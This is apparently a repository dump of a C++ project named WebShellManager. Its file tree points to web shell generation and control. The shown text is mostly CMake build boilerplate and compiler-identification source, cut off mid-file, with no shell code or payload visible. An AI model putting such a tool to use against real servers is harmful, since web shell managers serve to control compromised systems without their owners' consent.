├── .idea ├── codeStyles │ └── Project.xml ├── misc.xml └── vcs.xml ├── CMakeFiles ├── 3.5.1 │ ├── CMakeCCompiler.cmake │ ├── CMakeCXXCompiler.cmake │ ├── CMakeDetermineCompilerABI_C.bin │ ├── CMakeDetermineCompilerABI_CXX.bin │ ├── CMakeSystem.cmake │ ├── CompilerIdC │ │ ├── CMakeCCompilerId.c │ │ └── a.out │ └── CompilerIdCXX │ │ ├── CMakeCXXCompilerId.cpp │ │ └── a.out ├── 3.9.6 │ ├── CMakeCCompiler.cmake │ ├── CMakeCXXCompiler.cmake │ ├── CMakeDetermineCompilerABI_C.bin │ ├── CMakeDetermineCompilerABI_CXX.bin │ ├── CMakeSystem.cmake │ ├── CompilerIdC │ │ ├── CMakeCCompilerId.c │ │ └── a.out │ └── CompilerIdCXX │ │ ├── CMakeCXXCompilerId.cpp │ │ └── a.out ├── CMakeDirectoryInformation.cmake ├── CMakeOutput.log ├── Makefile.cmake ├── Makefile2 ├── TargetDirectories.txt ├── WebShellManager.dir │ ├── CXX.includecache │ ├── DependInfo.cmake │ ├── WebShell.cpp.o │ ├── build.make │ ├── cmake_clean.cmake │ ├── cryptohelper.cpp.o │ ├── curlhelper.cpp.o │ ├── depend.internal │ ├── depend.make │ ├── flags.make │ ├── link.txt │ ├── main.cpp.o │ └── progress.make ├── clion-environment.txt ├── cmake.check_cache ├── feature_tests.bin ├── feature_tests.c ├── feature_tests.cxx └── progress.marks ├── CMakeLists.txt ├── Makefile ├── README.md ├── WebShell.cpp ├── WebShell.h ├── WebShellManager ├── cmake-build-debug ├── CMakeCache.txt ├── CMakeFiles │ ├── 3.9.6 │ │ ├── CMakeCCompiler.cmake │ │ ├── CMakeCXXCompiler.cmake │ │ ├── CMakeDetermineCompilerABI_C.bin │ │ ├── CMakeDetermineCompilerABI_CXX.bin │ │ ├── CMakeSystem.cmake │ │ ├── CompilerIdC │ │ │ ├── CMakeCCompilerId.c │ │ │ └── a.out │ │ └── CompilerIdCXX │ │ │ ├── CMakeCXXCompilerId.cpp │ │ │ └── a.out │ ├── CMakeDirectoryInformation.cmake │ ├── CMakeOutput.log │ ├── Makefile.cmake │ ├── Makefile2 │ ├── TargetDirectories.txt │ ├── WebShellManager.dir │ │ ├── CXX.includecache │ │ ├── DependInfo.cmake │ │ ├── WebShell.cpp.o │ │ ├── build.make │ │ ├── cmake_clean.cmake │ │ ├── cryptohelper.cpp.o │ │ ├── curlhelper.cpp.o │ │ ├── depend.internal │ │ ├── depend.make │ │ ├── flags.make │ │ ├── link.txt │ │ ├── main.cpp.o │ │ └── progress.make │ ├── clion-environment.txt │ ├── clion-log.txt │ ├── cmake.check_cache │ ├── feature_tests.bin │ ├── feature_tests.c │ ├── feature_tests.cxx │ └── progress.marks ├── Makefile ├── WebShellManager ├── WebShellManager.cbp └── cmake_install.cmake ├── cmake_install.cmake ├── cryptohelper.cpp ├── cryptohelper.h ├── curlhelper.cpp ├── curlhelper.h ├── generateStandardShell.py ├── json.hpp ├── main.cpp └── shells.json /.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 15 | 16 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CMakeCCompiler.cmake: -------------------------------------------------------------------------------- 1 | set(CMAKE_C_COMPILER "/usr/bin/cc") 2 | set(CMAKE_C_COMPILER_ARG1 "") 3 | set(CMAKE_C_COMPILER_ID "GNU") 4 | set(CMAKE_C_COMPILER_VERSION "5.4.0") 5 | set(CMAKE_C_COMPILER_WRAPPER "") 6 | set(CMAKE_C_STANDARD_COMPUTED_DEFAULT "11") 7 | set(CMAKE_C_COMPILE_FEATURES "c_function_prototypes;c_restrict;c_variadic_macros;c_static_assert") 8 | set(CMAKE_C90_COMPILE_FEATURES "c_function_prototypes") 9 | set(CMAKE_C99_COMPILE_FEATURES "c_restrict;c_variadic_macros") 10 | set(CMAKE_C11_COMPILE_FEATURES "c_static_assert") 11 | 12 | set(CMAKE_C_PLATFORM_ID "Linux") 13 | set(CMAKE_C_SIMULATE_ID "") 14 | set(CMAKE_C_SIMULATE_VERSION "") 15 | 16 | set(CMAKE_AR "/usr/bin/ar") 17 | set(CMAKE_RANLIB "/usr/bin/ranlib") 18 | set(CMAKE_LINKER "/usr/bin/ld") 19 | set(CMAKE_COMPILER_IS_GNUCC 1) 20 | set(CMAKE_C_COMPILER_LOADED 1) 21 | set(CMAKE_C_COMPILER_WORKS TRUE) 22 | set(CMAKE_C_ABI_COMPILED TRUE) 23 | set(CMAKE_COMPILER_IS_MINGW ) 24 | set(CMAKE_COMPILER_IS_CYGWIN ) 25 | if(CMAKE_COMPILER_IS_CYGWIN) 26 | set(CYGWIN 1) 27 | set(UNIX 1) 28 | endif() 29 | 30 | set(CMAKE_C_COMPILER_ENV_VAR "CC") 31 | 32 | if(CMAKE_COMPILER_IS_MINGW) 33 | set(MINGW 1) 34 | endif() 35 | set(CMAKE_C_COMPILER_ID_RUN 1) 36 | set(CMAKE_C_SOURCE_FILE_EXTENSIONS c;m) 37 | set(CMAKE_C_IGNORE_EXTENSIONS h;H;o;O;obj;OBJ;def;DEF;rc;RC) 38 | set(CMAKE_C_LINKER_PREFERENCE 10) 39 | 40 | # Save compiler ABI information. 41 | set(CMAKE_C_SIZEOF_DATA_PTR "8") 42 | set(CMAKE_C_COMPILER_ABI "ELF") 43 | set(CMAKE_C_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") 44 | 45 | if(CMAKE_C_SIZEOF_DATA_PTR) 46 | set(CMAKE_SIZEOF_VOID_P "${CMAKE_C_SIZEOF_DATA_PTR}") 47 | endif() 48 | 49 | if(CMAKE_C_COMPILER_ABI) 50 | set(CMAKE_INTERNAL_PLATFORM_ABI "${CMAKE_C_COMPILER_ABI}") 51 | endif() 52 | 53 | if(CMAKE_C_LIBRARY_ARCHITECTURE) 54 | set(CMAKE_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") 55 | endif() 56 | 57 | set(CMAKE_C_CL_SHOWINCLUDES_PREFIX "") 58 | if(CMAKE_C_CL_SHOWINCLUDES_PREFIX) 59 | set(CMAKE_CL_SHOWINCLUDES_PREFIX "${CMAKE_C_CL_SHOWINCLUDES_PREFIX}") 60 | endif() 61 | 62 | 63 | 64 | 65 | set(CMAKE_C_IMPLICIT_LINK_LIBRARIES "c") 66 | set(CMAKE_C_IMPLICIT_LINK_DIRECTORIES "/usr/lib/gcc/x86_64-linux-gnu/5;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib") 67 | set(CMAKE_C_IMPLICIT_LINK_FRAMEWORK_DIRECTORIES "") 68 | -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CMakeCXXCompiler.cmake: -------------------------------------------------------------------------------- 1 | set(CMAKE_CXX_COMPILER "/usr/bin/c++") 2 | set(CMAKE_CXX_COMPILER_ARG1 "") 3 | set(CMAKE_CXX_COMPILER_ID "GNU") 4 | set(CMAKE_CXX_COMPILER_VERSION "5.4.0") 5 | set(CMAKE_CXX_COMPILER_WRAPPER "") 6 | set(CMAKE_CXX_STANDARD_COMPUTED_DEFAULT "98") 7 | set(CMAKE_CXX_COMPILE_FEATURES "cxx_template_template_parameters;cxx_alias_templates;cxx_alignas;cxx_alignof;cxx_attributes;cxx_auto_type;cxx_constexpr;cxx_decltype;cxx_decltype_incomplete_return_types;cxx_default_function_template_args;cxx_defaulted_functions;cxx_defaulted_move_initializers;cxx_delegating_constructors;cxx_deleted_functions;cxx_enum_forward_declarations;cxx_explicit_conversions;cxx_extended_friend_declarations;cxx_extern_templates;cxx_final;cxx_func_identifier;cxx_generalized_initializers;cxx_inheriting_constructors;cxx_inline_namespaces;cxx_lambdas;cxx_local_type_template_args;cxx_long_long_type;cxx_noexcept;cxx_nonstatic_member_init;cxx_nullptr;cxx_override;cxx_range_for;cxx_raw_string_literals;cxx_reference_qualified_functions;cxx_right_angle_brackets;cxx_rvalue_references;cxx_sizeof_member;cxx_static_assert;cxx_strong_enums;cxx_thread_local;cxx_trailing_return_types;cxx_unicode_literals;cxx_uniform_initialization;cxx_unrestricted_unions;cxx_user_literals;cxx_variadic_macros;cxx_variadic_templates;cxx_aggregate_default_initializers;cxx_attribute_deprecated;cxx_binary_literals;cxx_contextual_conversions;cxx_decltype_auto;cxx_digit_separators;cxx_generic_lambdas;cxx_lambda_init_captures;cxx_relaxed_constexpr;cxx_return_type_deduction;cxx_variable_templates") 8 | set(CMAKE_CXX98_COMPILE_FEATURES "cxx_template_template_parameters") 9 | set(CMAKE_CXX11_COMPILE_FEATURES "cxx_alias_templates;cxx_alignas;cxx_alignof;cxx_attributes;cxx_auto_type;cxx_constexpr;cxx_decltype;cxx_decltype_incomplete_return_types;cxx_default_function_template_args;cxx_defaulted_functions;cxx_defaulted_move_initializers;cxx_delegating_constructors;cxx_deleted_functions;cxx_enum_forward_declarations;cxx_explicit_conversions;cxx_extended_friend_declarations;cxx_extern_templates;cxx_final;cxx_func_identifier;cxx_generalized_initializers;cxx_inheriting_constructors;cxx_inline_namespaces;cxx_lambdas;cxx_local_type_template_args;cxx_long_long_type;cxx_noexcept;cxx_nonstatic_member_init;cxx_nullptr;cxx_override;cxx_range_for;cxx_raw_string_literals;cxx_reference_qualified_functions;cxx_right_angle_brackets;cxx_rvalue_references;cxx_sizeof_member;cxx_static_assert;cxx_strong_enums;cxx_thread_local;cxx_trailing_return_types;cxx_unicode_literals;cxx_uniform_initialization;cxx_unrestricted_unions;cxx_user_literals;cxx_variadic_macros;cxx_variadic_templates") 10 | set(CMAKE_CXX14_COMPILE_FEATURES "cxx_aggregate_default_initializers;cxx_attribute_deprecated;cxx_binary_literals;cxx_contextual_conversions;cxx_decltype_auto;cxx_digit_separators;cxx_generic_lambdas;cxx_lambda_init_captures;cxx_relaxed_constexpr;cxx_return_type_deduction;cxx_variable_templates") 11 | 12 | set(CMAKE_CXX_PLATFORM_ID "Linux") 13 | set(CMAKE_CXX_SIMULATE_ID "") 14 | set(CMAKE_CXX_SIMULATE_VERSION "") 15 | 16 | set(CMAKE_AR "/usr/bin/ar") 17 | set(CMAKE_RANLIB "/usr/bin/ranlib") 18 | set(CMAKE_LINKER "/usr/bin/ld") 19 | set(CMAKE_COMPILER_IS_GNUCXX 1) 20 | set(CMAKE_CXX_COMPILER_LOADED 1) 21 | set(CMAKE_CXX_COMPILER_WORKS TRUE) 22 | set(CMAKE_CXX_ABI_COMPILED TRUE) 23 | set(CMAKE_COMPILER_IS_MINGW ) 24 | set(CMAKE_COMPILER_IS_CYGWIN ) 25 | if(CMAKE_COMPILER_IS_CYGWIN) 26 | set(CYGWIN 1) 27 | set(UNIX 1) 28 | endif() 29 | 30 | set(CMAKE_CXX_COMPILER_ENV_VAR "CXX") 31 | 32 | if(CMAKE_COMPILER_IS_MINGW) 33 | set(MINGW 1) 34 | endif() 35 | set(CMAKE_CXX_COMPILER_ID_RUN 1) 36 | set(CMAKE_CXX_IGNORE_EXTENSIONS inl;h;hpp;HPP;H;o;O;obj;OBJ;def;DEF;rc;RC) 37 | set(CMAKE_CXX_SOURCE_FILE_EXTENSIONS C;M;c++;cc;cpp;cxx;mm;CPP) 38 | set(CMAKE_CXX_LINKER_PREFERENCE 30) 39 | set(CMAKE_CXX_LINKER_PREFERENCE_PROPAGATES 1) 40 | 41 | # Save compiler ABI information. 42 | set(CMAKE_CXX_SIZEOF_DATA_PTR "8") 43 | set(CMAKE_CXX_COMPILER_ABI "ELF") 44 | set(CMAKE_CXX_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") 45 | 46 | if(CMAKE_CXX_SIZEOF_DATA_PTR) 47 | set(CMAKE_SIZEOF_VOID_P "${CMAKE_CXX_SIZEOF_DATA_PTR}") 48 | endif() 49 | 50 | if(CMAKE_CXX_COMPILER_ABI) 51 | set(CMAKE_INTERNAL_PLATFORM_ABI "${CMAKE_CXX_COMPILER_ABI}") 52 | endif() 53 | 54 | if(CMAKE_CXX_LIBRARY_ARCHITECTURE) 55 | set(CMAKE_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") 56 | endif() 57 | 58 | set(CMAKE_CXX_CL_SHOWINCLUDES_PREFIX "") 59 | if(CMAKE_CXX_CL_SHOWINCLUDES_PREFIX) 60 | set(CMAKE_CL_SHOWINCLUDES_PREFIX "${CMAKE_CXX_CL_SHOWINCLUDES_PREFIX}") 61 | endif() 62 | 63 | 64 | 65 | 66 | set(CMAKE_CXX_IMPLICIT_LINK_LIBRARIES "stdc++;m;c") 67 | set(CMAKE_CXX_IMPLICIT_LINK_DIRECTORIES "/usr/lib/gcc/x86_64-linux-gnu/5;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib") 68 | set(CMAKE_CXX_IMPLICIT_LINK_FRAMEWORK_DIRECTORIES "") 69 | -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CMakeDetermineCompilerABI_C.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/3.5.1/CMakeDetermineCompilerABI_C.bin -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CMakeDetermineCompilerABI_CXX.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/3.5.1/CMakeDetermineCompilerABI_CXX.bin -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CMakeSystem.cmake: -------------------------------------------------------------------------------- 1 | set(CMAKE_HOST_SYSTEM "Linux-4.15.0-041500-lowlatency") 2 | set(CMAKE_HOST_SYSTEM_NAME "Linux") 3 | set(CMAKE_HOST_SYSTEM_VERSION "4.15.0-041500-lowlatency") 4 | set(CMAKE_HOST_SYSTEM_PROCESSOR "x86_64") 5 | 6 | 7 | 8 | set(CMAKE_SYSTEM "Linux-4.15.0-041500-lowlatency") 9 | set(CMAKE_SYSTEM_NAME "Linux") 10 | set(CMAKE_SYSTEM_VERSION "4.15.0-041500-lowlatency") 11 | set(CMAKE_SYSTEM_PROCESSOR "x86_64") 12 | 13 | set(CMAKE_CROSSCOMPILING "FALSE") 14 | 15 | set(CMAKE_SYSTEM_LOADED 1) 16 | -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CompilerIdC/CMakeCCompilerId.c: -------------------------------------------------------------------------------- 1 | #ifdef __cplusplus 2 | # error "A C++ compiler has been selected for C." 3 | #endif 4 | 5 | #if defined(__18CXX) 6 | # define ID_VOID_MAIN 7 | #endif 8 | 9 | 10 | /* Version number components: V=Version, R=Revision, P=Patch 11 | Version date components: YYYY=Year, MM=Month, DD=Day */ 12 | 13 | #if defined(__INTEL_COMPILER) || defined(__ICC) 14 | # define COMPILER_ID "Intel" 15 | # if defined(_MSC_VER) 16 | # define SIMULATE_ID "MSVC" 17 | # endif 18 | /* __INTEL_COMPILER = VRP */ 19 | # define COMPILER_VERSION_MAJOR DEC(__INTEL_COMPILER/100) 20 | # define COMPILER_VERSION_MINOR DEC(__INTEL_COMPILER/10 % 10) 21 | # if defined(__INTEL_COMPILER_UPDATE) 22 | # define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER_UPDATE) 23 | # else 24 | # define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER % 10) 25 | # endif 26 | # if defined(__INTEL_COMPILER_BUILD_DATE) 27 | /* __INTEL_COMPILER_BUILD_DATE = YYYYMMDD */ 28 | # define COMPILER_VERSION_TWEAK DEC(__INTEL_COMPILER_BUILD_DATE) 29 | # endif 30 | # if defined(_MSC_VER) 31 | /* _MSC_VER = VVRR */ 32 | # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) 33 | # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) 34 | # endif 35 | 36 | #elif defined(__PATHCC__) 37 | # define COMPILER_ID "PathScale" 38 | # define COMPILER_VERSION_MAJOR DEC(__PATHCC__) 39 | # define COMPILER_VERSION_MINOR DEC(__PATHCC_MINOR__) 40 | # if defined(__PATHCC_PATCHLEVEL__) 41 | # define COMPILER_VERSION_PATCH DEC(__PATHCC_PATCHLEVEL__) 42 | # endif 43 | 44 | #elif defined(__BORLANDC__) && defined(__CODEGEARC_VERSION__) 45 | # define COMPILER_ID "Embarcadero" 46 | # define COMPILER_VERSION_MAJOR HEX(__CODEGEARC_VERSION__>>24 & 0x00FF) 47 | # define COMPILER_VERSION_MINOR HEX(__CODEGEARC_VERSION__>>16 & 0x00FF) 48 | # define COMPILER_VERSION_PATCH DEC(__CODEGEARC_VERSION__ & 0xFFFF) 49 | 50 | #elif defined(__BORLANDC__) 51 | # define COMPILER_ID "Borland" 52 | /* __BORLANDC__ = 0xVRR */ 53 | # define COMPILER_VERSION_MAJOR HEX(__BORLANDC__>>8) 54 | # define COMPILER_VERSION_MINOR HEX(__BORLANDC__ & 0xFF) 55 | 56 | #elif defined(__WATCOMC__) && __WATCOMC__ < 1200 57 | # define COMPILER_ID "Watcom" 58 | /* __WATCOMC__ = VVRR */ 59 | # define COMPILER_VERSION_MAJOR DEC(__WATCOMC__ / 100) 60 | # define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) 61 | # if (__WATCOMC__ % 10) > 0 62 | # define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) 63 | # endif 64 | 65 | #elif defined(__WATCOMC__) 66 | # define COMPILER_ID "OpenWatcom" 67 | /* __WATCOMC__ = VVRP + 1100 */ 68 | # define COMPILER_VERSION_MAJOR DEC((__WATCOMC__ - 1100) / 100) 69 | # define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) 70 | # if (__WATCOMC__ % 10) > 0 71 | # define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) 72 | # endif 73 | 74 | #elif defined(__SUNPRO_C) 75 | # define COMPILER_ID "SunPro" 76 | # if __SUNPRO_C >= 0x5100 77 | /* __SUNPRO_C = 0xVRRP */ 78 | # define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>12) 79 | # define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xFF) 80 | # define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF) 81 | # else 82 | /* __SUNPRO_CC = 0xVRP */ 83 | # define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>8) 84 | # define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xF) 85 | # define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF) 86 | # endif 87 | 88 | #elif defined(__HP_cc) 89 | # define COMPILER_ID "HP" 90 | /* __HP_cc = VVRRPP */ 91 | # define COMPILER_VERSION_MAJOR DEC(__HP_cc/10000) 92 | # define COMPILER_VERSION_MINOR DEC(__HP_cc/100 % 100) 93 | # define COMPILER_VERSION_PATCH DEC(__HP_cc % 100) 94 | 95 | #elif defined(__DECC) 96 | # define COMPILER_ID "Compaq" 97 | /* __DECC_VER = VVRRTPPPP */ 98 | # define COMPILER_VERSION_MAJOR DEC(__DECC_VER/10000000) 99 | # define COMPILER_VERSION_MINOR DEC(__DECC_VER/100000 % 100) 100 | # define COMPILER_VERSION_PATCH DEC(__DECC_VER % 10000) 101 | 102 | #elif defined(__IBMC__) && defined(__COMPILER_VER__) 103 | # define COMPILER_ID "zOS" 104 | /* __IBMC__ = VRP */ 105 | # define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) 106 | # define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) 107 | # define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) 108 | 109 | #elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ >= 800 110 | # define COMPILER_ID "XL" 111 | /* __IBMC__ = VRP */ 112 | # define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) 113 | # define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) 114 | # define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) 115 | 116 | #elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ < 800 117 | # define COMPILER_ID "VisualAge" 118 | /* __IBMC__ = VRP */ 119 | # define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) 120 | # define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) 121 | # define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) 122 | 123 | #elif defined(__PGI) 124 | # define COMPILER_ID "PGI" 125 | # define COMPILER_VERSION_MAJOR DEC(__PGIC__) 126 | # define COMPILER_VERSION_MINOR DEC(__PGIC_MINOR__) 127 | # if defined(__PGIC_PATCHLEVEL__) 128 | # define COMPILER_VERSION_PATCH DEC(__PGIC_PATCHLEVEL__) 129 | # endif 130 | 131 | #elif defined(_CRAYC) 132 | # define COMPILER_ID "Cray" 133 | # define COMPILER_VERSION_MAJOR DEC(_RELEASE_MAJOR) 134 | # define COMPILER_VERSION_MINOR DEC(_RELEASE_MINOR) 135 | 136 | #elif defined(__TI_COMPILER_VERSION__) 137 | # define COMPILER_ID "TI" 138 | /* __TI_COMPILER_VERSION__ = VVVRRRPPP */ 139 | # define COMPILER_VERSION_MAJOR DEC(__TI_COMPILER_VERSION__/1000000) 140 | # define COMPILER_VERSION_MINOR DEC(__TI_COMPILER_VERSION__/1000 % 1000) 141 | # define COMPILER_VERSION_PATCH DEC(__TI_COMPILER_VERSION__ % 1000) 142 | 143 | #elif defined(__FUJITSU) || defined(__FCC_VERSION) || defined(__fcc_version) 144 | # define COMPILER_ID "Fujitsu" 145 | 146 | #elif defined(__TINYC__) 147 | # define COMPILER_ID "TinyCC" 148 | 149 | #elif defined(__SCO_VERSION__) 150 | # define COMPILER_ID "SCO" 151 | 152 | #elif defined(__clang__) && defined(__apple_build_version__) 153 | # define COMPILER_ID "AppleClang" 154 | # if defined(_MSC_VER) 155 | # define SIMULATE_ID "MSVC" 156 | # endif 157 | # define COMPILER_VERSION_MAJOR DEC(__clang_major__) 158 | # define COMPILER_VERSION_MINOR DEC(__clang_minor__) 159 | # define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) 160 | # if defined(_MSC_VER) 161 | /* _MSC_VER = VVRR */ 162 | # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) 163 | # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) 164 | # endif 165 | # define COMPILER_VERSION_TWEAK DEC(__apple_build_version__) 166 | 167 | #elif defined(__clang__) 168 | # define COMPILER_ID "Clang" 169 | # if defined(_MSC_VER) 170 | # define SIMULATE_ID "MSVC" 171 | # endif 172 | # define COMPILER_VERSION_MAJOR DEC(__clang_major__) 173 | # define COMPILER_VERSION_MINOR DEC(__clang_minor__) 174 | # define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) 175 | # if defined(_MSC_VER) 176 | /* _MSC_VER = VVRR */ 177 | # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) 178 | # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) 179 | # endif 180 | 181 | #elif defined(__GNUC__) 182 | # define COMPILER_ID "GNU" 183 | # define COMPILER_VERSION_MAJOR DEC(__GNUC__) 184 | # if defined(__GNUC_MINOR__) 185 | # define COMPILER_VERSION_MINOR DEC(__GNUC_MINOR__) 186 | # endif 187 | # if defined(__GNUC_PATCHLEVEL__) 188 | # define COMPILER_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) 189 | # endif 190 | 191 | #elif defined(_MSC_VER) 192 | # define COMPILER_ID "MSVC" 193 | /* _MSC_VER = VVRR */ 194 | # define COMPILER_VERSION_MAJOR DEC(_MSC_VER / 100) 195 | # define COMPILER_VERSION_MINOR DEC(_MSC_VER % 100) 196 | # if defined(_MSC_FULL_VER) 197 | # if _MSC_VER >= 1400 198 | /* _MSC_FULL_VER = VVRRPPPPP */ 199 | # define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 100000) 200 | # else 201 | /* _MSC_FULL_VER = VVRRPPPP */ 202 | # define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 10000) 203 | # endif 204 | # endif 205 | # if defined(_MSC_BUILD) 206 | # define COMPILER_VERSION_TWEAK DEC(_MSC_BUILD) 207 | # endif 208 | 209 | #elif defined(__VISUALDSPVERSION__) || defined(__ADSPBLACKFIN__) || defined(__ADSPTS__) || defined(__ADSP21000__) 210 | # define COMPILER_ID "ADSP" 211 | #if defined(__VISUALDSPVERSION__) 212 | /* __VISUALDSPVERSION__ = 0xVVRRPP00 */ 213 | # define COMPILER_VERSION_MAJOR HEX(__VISUALDSPVERSION__>>24) 214 | # define COMPILER_VERSION_MINOR HEX(__VISUALDSPVERSION__>>16 & 0xFF) 215 | # define COMPILER_VERSION_PATCH HEX(__VISUALDSPVERSION__>>8 & 0xFF) 216 | #endif 217 | 218 | #elif defined(__IAR_SYSTEMS_ICC__ ) || defined(__IAR_SYSTEMS_ICC) 219 | # define COMPILER_ID "IAR" 220 | 221 | #elif defined(__ARMCC_VERSION) 222 | # define COMPILER_ID "ARMCC" 223 | #if __ARMCC_VERSION >= 1000000 224 | /* __ARMCC_VERSION = VRRPPPP */ 225 | # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/1000000) 226 | # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 100) 227 | # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) 228 | #else 229 | /* __ARMCC_VERSION = VRPPPP */ 230 | # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/100000) 231 | # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 10) 232 | # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) 233 | #endif 234 | 235 | 236 | #elif defined(SDCC) 237 | # define COMPILER_ID "SDCC" 238 | /* SDCC = VRP */ 239 | # define COMPILER_VERSION_MAJOR DEC(SDCC/100) 240 | # define COMPILER_VERSION_MINOR DEC(SDCC/10 % 10) 241 | # define COMPILER_VERSION_PATCH DEC(SDCC % 10) 242 | 243 | #elif defined(_SGI_COMPILER_VERSION) || defined(_COMPILER_VERSION) 244 | # define COMPILER_ID "MIPSpro" 245 | # if defined(_SGI_COMPILER_VERSION) 246 | /* _SGI_COMPILER_VERSION = VRP */ 247 | # define COMPILER_VERSION_MAJOR DEC(_SGI_COMPILER_VERSION/100) 248 | # define COMPILER_VERSION_MINOR DEC(_SGI_COMPILER_VERSION/10 % 10) 249 | # define COMPILER_VERSION_PATCH DEC(_SGI_COMPILER_VERSION % 10) 250 | # else 251 | /* _COMPILER_VERSION = VRP */ 252 | # define COMPILER_VERSION_MAJOR DEC(_COMPILER_VERSION/100) 253 | # define COMPILER_VERSION_MINOR DEC(_COMPILER_VERSION/10 % 10) 254 | # define COMPILER_VERSION_PATCH DEC(_COMPILER_VERSION % 10) 255 | # endif 256 | 257 | 258 | /* These compilers are either not known or too old to define an 259 | identification macro. Try to identify the platform and guess that 260 | it is the native compiler. */ 261 | #elif defined(__sgi) 262 | # define COMPILER_ID "MIPSpro" 263 | 264 | #elif defined(__hpux) || defined(__hpua) 265 | # define COMPILER_ID "HP" 266 | 267 | #else /* unknown compiler */ 268 | # define COMPILER_ID "" 269 | #endif 270 | 271 | /* Construct the string literal in pieces to prevent the source from 272 | getting matched. Store it in a pointer rather than an array 273 | because some compilers will just produce instructions to fill the 274 | array rather than assigning a pointer to a static array. */ 275 | char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]"; 276 | #ifdef SIMULATE_ID 277 | char const* info_simulate = "INFO" ":" "simulate[" SIMULATE_ID "]"; 278 | #endif 279 | 280 | #ifdef __QNXNTO__ 281 | char const* qnxnto = "INFO" ":" "qnxnto[]"; 282 | #endif 283 | 284 | #if defined(__CRAYXE) || defined(__CRAYXC) 285 | char const *info_cray = "INFO" ":" "compiler_wrapper[CrayPrgEnv]"; 286 | #endif 287 | 288 | #define STRINGIFY_HELPER(X) #X 289 | #define STRINGIFY(X) STRINGIFY_HELPER(X) 290 | 291 | /* Identify known platforms by name. */ 292 | #if defined(__linux) || defined(__linux__) || defined(linux) 293 | # define PLATFORM_ID "Linux" 294 | 295 | #elif defined(__CYGWIN__) 296 | # define PLATFORM_ID "Cygwin" 297 | 298 | #elif defined(__MINGW32__) 299 | # define PLATFORM_ID "MinGW" 300 | 301 | #elif defined(__APPLE__) 302 | # define PLATFORM_ID "Darwin" 303 | 304 | #elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) 305 | # define PLATFORM_ID "Windows" 306 | 307 | #elif defined(__FreeBSD__) || defined(__FreeBSD) 308 | # define PLATFORM_ID "FreeBSD" 309 | 310 | #elif defined(__NetBSD__) || defined(__NetBSD) 311 | # define PLATFORM_ID "NetBSD" 312 | 313 | #elif defined(__OpenBSD__) || defined(__OPENBSD) 314 | # define PLATFORM_ID "OpenBSD" 315 | 316 | #elif defined(__sun) || defined(sun) 317 | # define PLATFORM_ID "SunOS" 318 | 319 | #elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__) 320 | # define PLATFORM_ID "AIX" 321 | 322 | #elif defined(__sgi) || defined(__sgi__) || defined(_SGI) 323 | # define PLATFORM_ID "IRIX" 324 | 325 | #elif defined(__hpux) || defined(__hpux__) 326 | # define PLATFORM_ID "HP-UX" 327 | 328 | #elif 